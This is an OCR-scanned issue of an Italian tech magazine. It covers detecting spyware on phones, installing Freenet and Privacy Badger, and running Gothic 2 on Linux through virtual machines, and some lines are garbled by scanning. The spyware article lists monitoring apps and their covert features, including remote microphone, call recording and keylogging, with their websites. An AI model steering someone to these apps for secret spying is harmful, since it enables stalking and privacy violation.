regolari (mantenere il
software, i plugin e le
estensioni del sito web sempre
aggiornati riduce il rischio di
sfruttamento di vulnerabilita
conosciute); accessi sicuri
(utilizzare password forti,
autenticazione a due fattori e
limitare gli accessi privilegiati
solo agli utenti autorizzati);
monitoraggio costante
(implementare strumenti di
monitoraggio e rilevamento
delle anomalie per identificare
potenziali attacchi e
rispondere tempestivamente);
backup regolari (eseguire
regolarmente backup dei dati
del sito web per ripristinare
rapidamente il contenuto
originale in caso di attacco).

®
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' i cono dispositivi ideall :
| telefoni cellulari sO |:3[ o el po

o. Ecco come scoprire sé siete spiall

sccedere a una vasta quan
messaggi, foto e vide

per app “ficcanaso’ che pqssono
sizione, contattl,

che consentono di condividere in

egli ultimi anni, con

lincremento dell'utilizzo

degli smartphone anche

da parte di persone non
awvezze alla tecnologia, si €
verificato un aumento
esponenziale delle attivita di
spionaggio digitale. Applicazioni
progettate e installate a insaputa
dell'utente che consentono a terzi
di accedere al dispositivo a

distanza, con tutte le implicazioni
che ne derivano. Altre volte sono
app comuni, spesso utilizzate
quotidianamente, che possono
rivelarsi pericolose. Tali software
possono raccogliere dati personal
che, nelle mani di individui
malintenzionati, diventano
informazioni di valore. Come
alcune app destinate agli
appassionati di corsa o ciclismo

tempo reale la propria posizione e
i percorsi scelti; se tali informazioni
vengono condivise con utenti
sconosciuti iscritti all'app,
diventerebbero risorse preziose
per potenziali criminali, che
potrebbero monitorare la vostra
posizione, cosi come i giorni e gli
orari in cui vi allenate, con tutto
quello che comportal

==

M a quali sono i campanelli d’allarme indicatori
che il vostro smartphone e stato compromesso
da uno o piu spyware?

1) Il consumo anomalo della batteria: se la batteria
si scarica molto rapidamente, anche quando non viene
utilizzato intensamente, potrebbe essere un segnale di
un’applicazione spia in esecuzione in background;

2) L'aumento insolito del traffico dati: un aumento
inusuale del traffico dati potrebbe indicare che un'app
spia sta trasmettendo dati dal dispositivo;
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nali che vi devono mettere in allarme!

3) Ritardi o malfunzionamenti: se il telefono diventa
lento o si blocca di frequente, potrebbe essere un
segnale che un'app spia sta sovraccaricando il sistema;
4) Ricevere messaggi o chiamate inaspettate:
ricevere messaggi o chiamate da numeri sconosciuti
potrebbe essere un tentativo di comunicare con il
dispositivo spiato;

5) Rintracciare applicazioni sconosciute: se si notano
applicazioni sul telefono di cui non si ricorda
l'installazione, potrebbero indicare app spia installate
furtivamente nello smartphone.



e

MA 10 SONO SPIATO?
Installando alcune app, i
cybercriminali hanno la
possibilita di intercettare e
registrare chiamate in tempo
reale, sia che avwvengano tramite
una linea telefonica tradizionale
sia mediante applicazioni come
Facebook, Skype e WhatsApp;
senza contare che spesso sono
anche in grado di attivare il
microfono da remoto e
registrare 'ambiente circostante!
E quindi, come comportasi?
Come ci si puo difendere?

Beh, partiamo dai controlli che
possono indicarci una spia...
Passo 1 - Controllate app e
processi in esecuzione: fatelo
ricorrendo ad app specifiche
(vedi tutorial a destra). Se
doveste notare applicazioni o
processi non riconosciuti, o che
consumano molte risorse,
potrebbe essere il segno di
un'app spia installata a vostra
insaputa.

Passo 2 - Controllate le reti:
accedete alle impostazioni del
dispositivo e controllare tutte le
voci presenti nella sezione
networking. Fate attenzione ai
nomi di reti non riconosciute.
Anche questo potrebbe essere
il segno della presenza di
un‘app che sta configurando il
dispositivo per inviare dati in
remoto.

Passo 3 - Controllate il traffico
dati: sempre nelle
impostazioni del telefono,
controllate il traffico di rete.
Trasferimenti di dati

pesanti o applicazioni non
riconosciute che spostano con
una certa frequenza dati in
rete, potrebbero essere un
segnale di una o piu app spia.

APP SPIA

BASTA INSTALLARE UNA SOLA APP
PER SCOVARLE TUTTE...

Ecco come rintracciare applicazioni e servizi annessi
che “girano” di nascosto sullo smartphone.

SCARICATE L'APP DALLO STORE
Dal Play Store cercate I'app App Killer: Close running
Apps, quindi procedete con ['installazione cliccando
sul pulsante Installa e poi su Apri, alternativamente
potete raggiungere |'app direttamente visitando
questa URL: https://play.google.com/store/apps/:
details?id=com.killapps.closeapps.
closerunningapps&hl=it&gl=US. L'app, semplicissima da

0 Close All Running Apps usare, consente di accedere a tutte le app e servizi
annessi attualmente in uso sullo smartphone

G s (pulsante Close All Running Apps), tutte le app
installate sul dispositivo (App Manager) e |a lista delle

it List app che ritenete essere sicure (White List). Cliccando
sui primi due pulsanti potrete accedere a una serie di
informazioni molto utili.

QUALI APP GIRANO A VOSTRA INSAPUTA?

Il pulsante Close All Running Apps mostra l'elenco
delle app e dei servizi attualmente avviati sullo
smartphone. Cliccando sulla singola app, poi su App
information, potrete ottenere maggiori info a
riguardo: tempo di utilizzo, traffico dei dati ecc. o
disinstallarla direttamente. Per stoppare tutte le app
istantaneamente potete cliccare sul pulsante
circolare rosso posto al centro della schermata; la
prima volta l'app vi invitera a concedere le
autorizzazioni necessarie dirottandovi nel menu
Accessibilita di Android dal quale flaggare la voce
Usa App Killer. Se ritenete 'app utile, potrete
aggiungerla alla White List cliccando sullomonimo
pulsante verde.

LE APP INSTALLATE NELLO SMARTPHONE
Dal menu principale dell'app € possibile accedere a
tutte le app installate nel dispositivo: bastera cliccare
sul pulsante App Manager. Anche in questo caso
I'app vi consentira di accedere a info dettagliate su
i~ _ ciascuna app elencata e la possibilita di aggiungerla
R alla White List. L'iconcina filtro posta in alto a destra
R consente di filtrare le app tra quelle di sistema e
e —— quelle installate a livello utente. Sempre dal menu
R principale dell'app & possibile cliccare su White List
per accedere all'elenco di tutte le applicazioni che nel
tempo sono state contrassegnate come “sicure”. In
ogni momento sara possibile rimuovere ogni singola
app dalla lista cliccando sul relativo pulsante Remove
from White List.
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RIMUOVERE I MALWARE IN POCHI CLIC... E NON SOLO!

Grazie a un potente tool potete eseguire una scansione gratuita del sistema
per rilevare minacce e vulnerabilita, scovare le applicazioni dannose prima
ancora che si installino, bloccare collegamenti e siti web pericolosi, verificare
la sicurezza delle reti Wi-Fi ed eventuali configurazioni del sistema in grado

compromettere il dispositivo.

Risparmia tempo. Dimentica il
WEWEIGH

W% %W & & & Oltre 100 milioni

Valutazioni: 4,8/5 Download

MENSILE

PER ANDROID E 10S

Il primo passo e scaricare l'applicazione di Avast che
consente di rintracciare le app dannose. Dal vostro
dispositivo Android o iOS collegativi allo store
ufficiale e ricercatela digitando Avast Antivirus e
Sicurezza. Una volta installata e awviata, I'app
propone un upgrade alla versione a pagamento con
piu funzionalita: ignorate l'avviso per procedere con
l'utilizzo gratuito.

X 6 problemi da risolvere C

Problemi principali

E Database virus
Aggiornato

@ Vulnerabilita

0

2
Autorizzazione necessaria Q

Per analizzare il dispositivo

alla ricerca di eventuali file
dannosi, abbiamo bisogno
dell'autorizzazione per l'accesso a
tutti i file.

ANNULLA

LA PRIMA SCANSIONE

La prima volta che utilizzate I'app, cliccando sul
pulsante centrale Avvia scansione vi verra chiesto
di concedere le dovute autorizzazioni perché Avast
possa accedere ai file presenti nel vostro
dispositivo. Sara quindi necessario flaggare la voce
Consenti I'accesso per gestire tutti i file e cliccare
sulla freccia in alto a sinistra per procedere con la
scansione.

3 minacce trovate

Applicazioni contenenti

Cl SONO PROBLEMI DA RISOLVERE!

La schermata di blocco C

del dispositivo e
disattivata
Configura la schermata

di blocco del dispositivo

per evitare che altri utenti

accedano ai tuoi messaggi e

alle tue foto private.

I ——

Terminata I'analisi il tool vi proporra una lista delle eventuali criticita da risolvere.

Nel nostro caso, Avast ha rilevato 3 minacce. Cliccando sul pulsante Risolvi il sistema mostrera le criticita individuate
dettagliandole e guidandovi passo dopo passo sulla risoluzione immediata (alcune delle problematiche individuate
possono essere risolte automaticamente da Avast passando alla versione a pagamento).




SU ANDROID E OLTRE

Sul sistema operativo di Google
e presente Google Play Protect,
un‘app pre-installata che
verifica le applicazione scaricate
dal Play Store. Tuttavia, in molti
casi, per funzionalita specifiche,
e preferibile ricorrere a
soluzioni piu efficaci. Come
quelle che riportiamo di
seguito, tra le migliori app utili
a verificare la presenza di
applicazioni spia sullo
smartphone.

La prima si chiama
Malwarebytes Mobile
Security, € un'app disponibile
per Android e iOS. Abbiamo
deciso di citarla perché é
capace di scovare, oltre ai
malware, anche i tentativi di
furto di identita, e altre
minacce online. Offre infatti
funzionalita anti-malware,
blocco degli annunci
pubblicitari, filtri e algoritmi in
grado di bloccare siti di
phishing e altri siti dannosi che
potrebbero contenere anche
spyware e ransomware.

E poi c'e Bitdefender Mobile
Security che offre protezione
antivirus grazie a un potente
scanner integrato (su Android),
la possibilita di impedire I'uso
improprio di qualsiasi app del
proprio smartphone (Android e
iOS) che invia informazioni su
Internet e di eseguire una
scansione utile a scoprire e
correggere la presenza di
configurazioni errate.

Consente anche di bloccare,
geolocalizzare ed emettere un
allarme cancellando i contenuti
dello smartphone da remoto.
Infine, la funzionalita VPN vi fa
navigare in perfetto anonimato!

Sebbene I'approccio di Apple in
alcuni contesti possa
sembrare poco intuitivo per gli
utenti, si dimostra estremamente
efficace nella protezione della
privacy. iOS, infatti, impedisce
alle app di accedere
profondamente al sistema,
prevenendo qualsiasi tentativo di
monitoraggio delle attivita sul
telefono.

Questo almeno per quanto
riguarda un dispositivo non
manomesso; esiste infatti la
possibilita di effettuare su alcuni
iPhone il cosiddetto jailbreak, che

APP SPIA

Show More

consente l'installazione di qualsiasi
app sul dispositivo, fuori quindi dal
recinto delle app presenti sullo
store ufficiale di Apple. Tra queste
“app non ufficiali” &€ possibile
imbattersi in software dannosi
capaci di installare malware, rubare
dati personali o compiere
qualunque altra operazione
criminale gia accennata in questo
articolo. Per verificare se il proprio
iPhone, magari acquistato di
seconda mano, € stato oggetto di
jailbreak, e sufficiente cercare I'app
Cydia. Se presente, € probabile che
il dispositivo sia stato jailbreakato.

Cos'e Google Play Protect?

Y

Eil sistema di protezione anti-malware integrato in tutti i dispositivi Android di
ultima generazione. Controlla le app gia al momento del download dal Play
Store ed esegue periodicamente la scansione del dispositivo alla ricerca di app
potenzialmente dannose, eventualmente inviando notifiche di alert, disattivando
le app ritenute malevoli o rimuovendole automaticamente.
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APP CHE (IN MANI
SBAGLIATE!) POSSONO
DIVENTARE PERICOLOSE
Le app spia sono quasi sempre
frutto di malware, tuttavia anche
software apparentemente
innocui e utili, come ad esempio
di controllo parentale, nelle
mani shagliate possono
trasformarsi in potenti spie
digitali, cosi come quelle
riportate di seguito...

FLEXISPY

Si tratta di un software di
monitoraggio e controllo
parentale. Ma cio non impedisce
ai malintenzionati di utilizzarlo
per altri fini. Con Flexispy, infatti &
facile attivare da remoto il
microfono per ascoltare e
registrare (anche le telefonate
live), localizzare il dispositivo,
monitorare le app di chat,
contatti, calendari, cronologia e
preferiti web, scattare foto a
distanza, registrare ogni tasto
premuto dall'utente.
https://www.flexispy.com/it/

HOVERWATCH

Accedendo al sito ufficiale si
legge: “Questa é la migliore
applicazione per proteggere le
proprie famiglie e le imprese”. E
infatti si tratta proprio di un
software dedicato alla
sicurezza. Ma, installando
Hoverwatch, non é difficile
accedere ad app social e di
messaggistica (SMS, Facebook,
WhatsApp ecc), cronologia delle
chiamate, microfono,
fotocamera, GPS tracking, attivita
sul web, calendario e contatti.
https://www.hoverwatch.com/it/

XNSPY

E un‘applicazione che consente
di controllare telefonate e
contatti, posizione GPS, app di
messaggistica, ricevere avvisi
istantanei su parole specifiche
digitate, inviare comandi
remoti per la registrazione,
acquisire schermate da
remoto, visualizzare tutte le
attivita web.
https://it.xnspy.com/.

ATTENZIONE!

E opportuno ricordare, in questa
sede, e bisogna farlo con enfasi,
che I'atto di spiare un
dispositivo mobile altrui non &
soltanto una violazione della
privacy dell'individuo, ma
rappresenta a tutti gli effetti
un illecito penale. Questo
genere di comportamento,
spesso dettato da curiosita, dalla
gelosia o, in alcuni casi, da
intenzioni maligne, non deve
essere sottovalutato nella sua
gravita! La legge italiana, infatti,
prevede sanzioni severe per chi si
rende colpevole di tali azioni.
Nello scenario legislativo emerge
chiaramente come vi siano delle
ripercussioni concrete per chi
decide di violare l'intimita altrui
attraverso l'accesso non
autorizzato a dispositivi
elettronici. Le condanne, in
particolare, possono variare in
base alla gravita e alla natura
del reato, ma possono arrivare,
in certe circostanze, anche ai
quattro anni di reclusione.

Buoni consigli per evitare le infezioni...

sistono determinate linee guida fondamentali che

dovreste adottare per minimizzare il rischio di
contaminazione del vostro dispositivo mobile da agenti
malevoli, come gli spyware, appunto. Innanzitutto, la
raccomandazione & di astenervi dall’installare
software di terze parti sui vostri dispositivi. Il
consiglio e attingere solo dalle piattaforme ufficiali,
quali 'App Store per IOS o Google Play per Android.
Quando selezionate un’applicazione, in particolar modo
su dispositivi Android, & imperativo optare solo per
sviluppatori di comprovata affidabilita. Durante il
processo di installazione di una nuova applicazione, poi,
valutate con precisione le autorizzazioni sollecitate
dall'app in questione. Se emergono delle perplessita, si
raccomanda prudenza, magari evitando l'installazione.
Allo stesso modo di quanto accade su sistemi desktop,
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anche sui dispositivi mobili € di primaria importanza
esercitare cautela nei confronti di link, allegati e
connessioni Wi-Fi pubbliche non cifrate. Tali elementi
possono costituire vettori di attacco per entita malevole
intenzionate a iniettare spyware nei dispositivi.
Pertanto, evitate di collegarvi a reti pubbliche
sconosciute e astenetevi dal cliccare su link o aprire
allegati provenienti da mittenti non verificati o
sospetti. In conclusione, assicuratevi di garantire
un'adeguata protezione fisica del vostro
dispositivo. Vi suggeriamo infine di configurare in
modo rigoroso una schermata di blocco e di vigilare
sulla custodia del vostro dispositivo, in modo da
precludere accessi non autorizzati che potrebbero
portare all'installazione di software malevoli o alla
compromissione di informazioni riservate.



RETI P2P 1La rete anticensura oltre il DarkWeb

Si accede tramite un apposito tool e ci si trova davvero I'impossibile.
EOVREDITEIEO SCOPETL0. -t i o i thomrriee s aii or E s res R 48

PRIVACY BADGER pite STOP al tracciamento

Il tool consigliato da Anonymous che protegge la tua privacy online ... 50

GAME Gothic 2 conquista anche il Pinguino!

Siamo riusciti a installare su Linux il mitico gioco di ruolo.
Ecco il diario della ricompilazione
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How 10

A RETE ANTIGENSURA

LTRE IL DARKWEB!

Si accede tramite un apposito tool e ci si trova davvero l'impossibile.
Ecco cosa abbiamo scoperto

IN BREVE

Come collegarsi e
navigare su Freenet

DIFFICOLTA

e

AVVERTENZE!

Prima di vedere come
installare e utilizzare il
software Freeneet, visti i
vantaggi offerti e il
sistema di
funzionamento, e bene
fare due premesse. La
prima: navigando su
Freneet noterete una
certa lentezza nel
caricamento delle pagine.
Questo e dovuto al tempo
per il download dei vari
“pezzi" sparsi nei nodi
che vengono poi
“ricostruiti” dal
programma sulla vostra
macchina. La seconda:
fate attenzione a cosa
scaricate. Dato
l'anonimato e l'assenza
di censura, infatti, c'e chi
ha pensato bene di
caricare e/o diffondere
sulla rete anche
contenuti, per cosi dire,
poco ortodossi... Occhio,
quindi, potreste
ritrovarvi nel Pc file
vietati dalla legge!
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olendo darne una

defezione, possiamo dire

che Freenet € una rete

peer-to-peer (P2P) che
consente agli utenti di condividere e
accedere a dei contenuti in modo
sicuro e anonimo. In pratica, € un
software open source che permette
di collegarsi a una Rete
decentralizzata e resistente alla
censura. Un sistema progettato per
consentire agli utenti di scambiarsi
file e comunicare in modo sicuro
senza rivelare la propria identita o la
posizione fisica.

Quando un utente invia una
richiesta o scambia un file su
Freenet, i dati vengono suddivisi in
piccoli pezzi e cifrati. Questi pezzi
vengono inviati attraverso una serie
di nodi intermedi, chiamati nodi di
routing, che non consentono di
determinare l'origine o la
destinazione dei dati. In sostanza,
non esiste un server centrale o
un‘autorita di controllo: i nodi sono
tutti uguali e cooperano tra loro per
mantenere e distribuire i file.
Freenet utilizza anche un sistema di
storage particolare e distribuito per
archiviare i dati condivisi: come
accennato, quando un utente carica

un documento, questo viene
suddiviso in pezzi e replicato su
diversi nodi nella rete e cio consente
di garantire la disponibilita dei dati
anche in presenza di nodi che
lasciano la rete o vengono rimossi. A
ciascun “pezzo” viene poi associata
una chiave crittografica generata dal
contenuto stesso: gli utenti possono
dunque cercare e accedere ai
contenuti utilizzando le suddette
chiavi, senza rivelare cosi quali dati
si stanno cercando o condividendo.

Grazie alla natura decentralizzata di
Freenet, la rete é resistente alla
censura. Poiché i contenuti sono
distribuiti sui nodi, diventa difficile,
se non impossibile, per un‘entita
centrale o un governo individuare e
bloccare o rimuovere dei contenuti
specifici. Senza contare che Freenet
consente agli utenti anche di
comunicare in modo anonimo
attraverso i forum di discussione e i
servizi di messaggistica disponibili.
Il sistema di funzionamento e le
caratteristiche tecniche di Freenet
hanno fatto si che il software venisse
anche suggerito dal collettivo
Anonymous in quella che abbiamo
definito piu volte come “La cassetta
degli attrezzi anticensura”.
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FILE D'INSTALLAZIONE

Collegatevi allindirizzo https://freenetproject.org/
pages/download.html e cliccate sul pulsante
DOWNLOAD FREENET FOR WINDOWS per
scaricare il file d'installazione. Al termine del
download, fatte doppio clic sull'eseguibile appena
prelevato e aspettate qualche istante. Selezionate la
lingua Italiano e cliccate su OK.

Configurazione di Freenet
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PRIME IMPOSTAZIONI

Cliccate sul simbolo di Freenet: vedrete aprirsi una
finestra del vostro browser predefinito (in incognito) con
le impostazioni di configurazione. Qui potete stabilire la
velocita in download e in upload e se impostare una
password all'awio di Freenet. Il nostro consiglio e di
lasciare tutto cosi com'é e cliccare su Save.
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TOOL PRONTO ALL'USO!

Cliccate su Avanti per tre volte a poi su Installa. Al
termine della procedura d'installazione (che dura
pochi istanti) selezionate il tasto Fine, lasciando
spuntato il flag su Avvia Freenet. Vedrete apparire, in
basso a destra, un messaggio che vi avvisa della
presenza di una nuova icona sulla barra delle
applicazioni.

Livelll & sicwresza

2006C0 piran 3

SOLO CON GLI AMICI

Cliccate su CONFIGURAZIONE e subito dopo su Livelli di
sicurezza. Scegliete NORMALE come livello di sicurezza e
ALTO come modalita darknet. Ricordate, infatti, che se
conoscete almeno 3 persone che usano gia Freenet, potete
abilitare quest'ultima modalita: cosi Freenet si connettera
solo con i vostri amici.

SIAMO NEL FREENET

Impostando un livello di sicurezza BASSO, invece, si avra
la possibilita di visitare siti, dialogare con altri utenti e
scaricare/caricare materiale anche non essendo “amici”.

Per farlo, recatevi nella pagina principale e iniziate a

senza essere censurati in alcun modo. Visitate anche le
pagine che riportano la Documentazione relativa a
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ITE STO

L TRAGGIAMENT

Grazie a un'estensione per il browser, proteggerete la vostra privacy
e l'invasione operata dalla pubblicita. Ecco come funziona

IN BREVE

Come utilizzare
correttamente Privacy
Badger per proteggere
la vostra privacy in
Rete

DIFFICOLTA

3

rivacy Badger € un'estensione

per browser sviluppata

dall'Electronic Frontier

Foundation (EFF),
un'organizzazione non profit impegnata
nella difesa della privacy e dei diritti
digitali degli utenti. L'obiettivo principale
e quello di impedire il tracciamento
online non desiderato e proteggere la
privacy durante la navigazione.

Disponibile per diversi browser, tra cui
Chrome e Firefox, si occupa di bloccare i
cosiddetti tracker. In sostanza, quando
si naviga su un sito, l'estensione analizza
gli elementi della pagina erilevai
tentativi di tracciamento di terze parti,
come cookie e script. Le frena e
impedisce loro di raccogliere dati sulle
attivita online. Interessante &
I'apprendimento automatico. Cid
significa che impara dalle interazioni con
i siti web nel tempo, adattandosi ai

DO NOT TRACK (DNT)

rivacy Badger si integra anche con
la funzionalita DNT (Do Not Track)
presente in molti browser. Si tratta di

una funzione che invia un segnale ai
siti web che si visitano, indicando la
propria preferenza di non essere

tracciati. Privacy Badger rafforza
questa protezione aggiuntiva,

DNT: alcune societa continuano a

bloccando gli elementi di tracciamento
che ignorano il segnale DNT. Di fatto,
non tutti i siti web rispettano il segnale

comportamenti e alle preferenze. Per
esempio, se si visita regolarmente un
sito che utilizza un servizio di
tracciamento legittimo, Privacy Badger
imparera a non bloccare quel
particolare elemento, garantendo cosi
una navigazione fluida.

L'estensione offre un livello di
protezione della privacy
personalizzabile. Dopo linstallazione,
inizia subito a bloccare gli elementi di
tracciamento che rileva.

Tuttavia, da anche all'utente la
possibilita di modificare le impostazioni
di blocco in base alle proprie
preferenze: & possibile decidere di
consentire il tracciamento su un
determinato sito o bloccarlo oppure di
visualizzare la lista dei siti web visitati e
gli elementi di tracciamento bloccati per
ciascuno di essi e rimuovere il blocco,
giusto per fare qualche esempio.

raccogliere dati nonostante la
preferenza segnalata. E Privacy Badger
interviene in questi casi, impedendo il
tracciamento e proteggendo la
privacy, anche quando i portali non
rispettano la richiesta.




PRIVACY BADGER

BLOCCARE I TRACKER CON UN CLIC DEL MOUSE

é'?; Privacy Baclger

ek

L'ESTENSIONE

Collegatevi sul chrome web store allindirizzo https.//;
chrome.google.com/webstore/category/extensions. Se
utilizzate Firefox, invece, andate su https://addons.mozilla.
org/it/firefox/extensions/. Cercate “privacy badger”

nell'apposito campo di ricerca e cliccate sul primo risultato.

BANCA
TERRITORI
DEL MONVISO

n &I
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ibero. Lultima lezione di don Lorenzo Milani

% 16° Tori

IL PRIMO BLOCCO
Riawviate il browser e accedete a un sito qualsiasi: per

esempio, il portale de La Stampa. Cliccate sul simbolo del
puzzle in alto a destra nella barra degli indirizzi e selezionate
I'estensione appena installata. Un primo messaggio vi awisa
che sono stati bloccati ben 23 potenziali tracker.

ULTAMAN | ‘SALUTE | ‘GREEMEALY | U Disattiva || 4 Segnala sito |
SEMAFORO ROSSO

Cliccando sulla freccia che punta verso il basso, si aprira
un menu con tutti i tracker bloccati, quelli che lasciano
sono dei cookie e quelli che non sono stati fermati. Per
consentire, fermare o accettare solo i cookie, vi basta

spostare le levette da destra a sinistra, o viceversa.

@ Privacy Bad

LA B & 80

INSTALLAZIONE

Selezionate il pulsante azzurro Aggiungi e, subito dopo,
Aggiungi estensione. Una finestra pop-up vi avvisera
della corretta installazione. Cliccateci su. Vi si aprira una
finestra del browser con il sito di benvenuti e un
messaggio “Grazie per aver installato Privacy Badger!”.

© Disattiva

< Segnala sito
peer questo sito

malfunzionante

Da questa prima finestra avete gia la possibilita di non utilizzare,
e quindi di disattivare, Privacy Badger per il sito che state
visitando. Per farlo, oviamente, basta cliccare sul pulsante
Disattiva per questo sito. Esiste anche la possibilita di inviare
una segnalazione alla EEF per Sito malfunzionante.

%
. aprioni i Privacy Badger

artars i poltiza Do Mot Track Salla EFF
Privacy

8 Ir

=21 8 Google, 15 dis:
ando una paging men pud

IMPOSTAZIONI AVANZATE

Cliccando sul menu delle impostazioni, avrete la
possibilita di personalizzare Privacy Badger. Troverete la
possibilita di impedire ai siti di tracciare i link cliccati, di
vietare a Google di registrare i siti visitati, di consultare i
siti disattivati, i domini tracciati e tanto altro.

51 .
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OTHIC 2 CONQUIST,

NCHE IL PINGUINO!

Siamo riusciti a installare su Linux questo mitico gioco di ruolo.
Ecco il diario della ricompilazione

IN BREVE

In questa guida vi
faremo vedere come
installare Gothic 2,
gioco per Windows del
2001, anche sul
sistema del “pinguino”

DIFFICOLTA

%W?g

Durante il gioco,
l'eroe si trovera
davanti una
colonia penale:
riuscira a
entrare?

othic & un gioco per Windows

del 2001. Ma non solo. E

anche uno spartiacque, una

pietra miliare etichettata
come la linea guida per tutti i titoli che
sono venuti dopo. Ambientato
indicativamente in epoca medievale,
annovera paladini, maghi, draghi,
non-morti, guerrieri e una pletora di
PNG (Personaggi Non Giocanti) che
possono diventare alleati o nemici a
seconda delle azioni che si compiono.
E un modo “vivo”: c& il ciclo notte/

giorno, la pioggia... e i personaggi che

mangiano, dormono e lavorano...
certo, tutte cose “normali” oggi, ma
rivoluzionarie all'uscita.

La storia vede gli orchi invasori venuti
ad attaccare le terre degli umani, che
sono sul punto di soccombere. Sara
compito del protagonista, risollevare le
sorti della popolazione.

Perché vi parliamo di tutto questo?
Semplice, perché vi mostreremo come

™ ﬁ@mﬂ,

installare la versione opensource
del motore grafico di Gothic! La
scelta, nello specifico, € ricaduta sul
motore di Gothic 2, una versione piu
evoluta rispetto alla precedente.

Per farlo, vi narreremo le operazioni
compiute come se le stessimo
scrivendo su un vero e proprio
diario personale. Il fine sara
supportare Gothic 2, comprensivo
dell'espansione “La notte del Corvo”,
arrivando, dopo una serie di
operazioni, non semplicissime, a
giocare questo bellissimo titolo su
Linux [figura #1].

La prima cosa che faccio e
scompattare il file del gioco, azione
fattibile con programmi come ZIP o 7z.
Va storto qualcosa e il file non viene
riconosciuto.

Cominciamo bene! Cosi decido di agire
in un modo piu lungo, ma credo che
funzionera, utilizzando macchine
virtuali (MV) e un disco rigido di
servizio su cui fare le varie prove, allo
scopo di non contaminare la mia
installazione principale. Mi procuro:

* Immagine ISO di istallazione di
Widows XP;

+ File exe diinstallazione di Gothic 2 “La
notte del Corvo”



+ Immagine ISO di istallazione di
Debian 11

+ Hard disk di recupero (nel mio
caso, un vecchio disco da 40 GB)

+ Capacita nel destreggiarsi a riga
di comando, esperienza nel
“problem solving” e pazienza :-)

L'ambiente di lavoro € un PC a 64
bit con Debian GNU/Linux, un
disco primario (SDA) con il sistema
operativo e un disco (SDB)
secondario, che sara il contenitore
del sistema finale con - si spera

- opengothic funzionante.

I sistema dispone dei programmi
necessari (quali kvm, wget ecc.).
Come sempre, il simbolo #
indica che lavoro come
amministratore mentre il
simbolo $ indica che il comando
€ impartito da un utente.

ORA LAVORO SUL PC,SDA
Creo un file-disco da 8 GB per
Windows:

$ cd

$ dd if=/dev/zero of=windows_
XP.img bs=1M count=8192

awio la macchina virtuale nella
quale installerd la mia copia di
Windows XP:

$ kvm -m 2G -hda windows_XP.img
-vga cirrus -device AC97 -cdrom

LUinstallazione

o <cocrare e
W =0

immagine_iso_windows_xp.iso
-boot d

procedo con linstallazione e, una
volta completata, spengo la
macchina virtuale. Ora devo
passare il file di setup alla VM
Windows: un trucco é “formattare”
il file da passare come se fosse
limmagine ISO di un CD che potra
quindi essere montato come se
fosse un CD fisico:

$ cd

$ mkdir g2_tmp

$ cp setup_gothic_2_gold_
edition.exe g2_tmp/

$ mkisofs -o g2.iso g2_tmp/

e preambolo. Si sentono i dialoghi
iniziali ma non si vede la grafica,
ma tanto mi basta per capire che il
gioco é installato correttamente.
Spengo Windows e passo alla
parte GNU/Linux. Creo un
file-disco da 10 GB per Debian 11,
recupero la ISO di installazione e
awio la VM:

$ dd if=/dev/zero of=debian_11.
img bs=1M count=10240

$ wget https://cdimage.debian.
org/debian-cd/current/amd64/
iso-cd/debian-11.6.0-amd64-
netinst.iso

$ kvm -m 2G -hda debian_11.img
-cdrom debian-11.6.0-amd64
-netinst.iso -boot d

Per Debian installazione testuale,
una partizione sola, niente swap,
niente grafica o programmi di
supporto: lo stretto necessario!
Poi, spengo la macchina virtuale
per escludere la ISO di
installazione e per agganciare
limmagine Windows [figura #3].
Riawvio con:

$ rm g2_tmp/setup_gothic_2_
gold_edition.exe

$ kvm -m 2G -hda debian_11.img
-hdb windowsXP.img

$ rmdir g2_tmp

Riawvio la macchina virtuale
aggiungendo limmagine I1SO:

$ kvm -m 2G -hda windows_XP.img
-device AC97 -vga cirrus -cdrom
g2.iso0

Allinterno della MV Windows,
limmagine g2.iso viene vista come
se fosse un CD, che uso per
eseguire l'installazione [figura #2].
Lancio il gioco e, dopo qualche
secondo, parte la sigla: schermata
nera, poi il video di presentazione

attivo i repository extra con:

# nano /etc/apt/source.list

e aggiungo “contrib non-free”
dopo il primo “main”: salvo con
Ctrl-X, confermo con “s".

Aggiorno e installo quanto segue:

# apt-get update
# apt-get install wget
firmware-misc-nonfree firmware-

realtek mc net-tools lxde
firefox >
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Siccome la macchina fisica
dispone di una scheda video
NVIDIA e che alla fine la VM Linux
andra riversata su SDB, il
pacchetto firmware-misc-
nonfree mi serve per supportare
I'hardware reale

attivo la grafica con:

# /etc/init.d/lightdm restart

Poi mi connetto come “utente”,
monto la VM Windows e copio in
/home/utente la directory
“Gothic 2 Gold” presente nel
disco Widows nel percorso
Progammi/GOG.com/ e siccome
non mi piacciono gli spazi nei
nomi di file e/o directory,
rinomino “Gothic 2 Gold" in
“Gothic_2_Gold” sostituendo gli
spazi col “trattino basso”. Poi
spengo la VM Linux e la riverso
sul disco:

# dd if=debian_11.img of=/dev/
sdb bs=1M

Attivo gparted ed espando
limmagine presente su SDB per
portala dai 10 GB [figura #4].
Riawvio la macchina fisica e
tramite BIOS scelgo di avviare dal
disco da 40GB.

Con Firefox raggiungo il sito https://
github.com/Try/OpenGothic e subito
identifico le istruzioni per installare
su GNU/Linux, che faccio:

# wget -q0 - http://packages.
lunarg.com/lunarg-signing-key-
pub.asc | apt-key add -

# wget -q0 /etc/apt/sources.
list.d/lunarg-vulkan-focal.list
http://packages.lunarg.com/
vulkan/lunarg-vulkan-focal.list
# apt-get update

# apt-get install vulkan-sdk

> 54

M1 momento, solo la parte princloale di Deblan & install
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Ma ecco la prima tegola in testa:

I seguenti pacchetti hanno
dipendenze non soddisfatte:
vulkancapsviewer : Dipende:
qt5-default ma non é installabile

E: Impossibile correggere i problemi,
¢i sono pacchetti danneggiati
bloccati.

root@debian:~#

rimugino un po’, poi vado a vedere
il link: https://packages.lunarg.com/
vulkan/ mmm... interessante...
oltre alla lista di “focal”, c'¢ anche la
lista di “jammy”, cioé ubuntu 22.04
LTS, e quindi di due anni piu
recente. Me la rischio e aggiungo
anche il suo repository:

# wget -q0 /etc/apt/sources.
list.d/lunarg-vulkan-jammy.list
http://packages.lunarg.com/
vulkan/lunarg-jammy-focal.list

# apt-get update

versione 10.2.1-6 sta per essere
installata

[avanti cosi per una ventina di righe]
E: Impossibile correggere i problemi,
¢i sono pacchetti danneggiati
bloccati.

Il messaggio e chiaro: i programmi
che mi servono dipendono dalle
libc, librerie fondamentali di
sistema, che sono pero richieste
nella versione maggiore o uguale
alla 2.34, ma al massimo sono
disponibili nella versione
2.31-13+deb11u5. Questo significa
una cosa sola: Debian 11 stabile
non & aggiornato, occorre passare
a debian testing, cioe la versione in
lavorazione che diventera la futura
Debian 12. Viene quindi buono il
fatto di aver fatto una installazione
minimale. Va bene, edito /etc/apt/
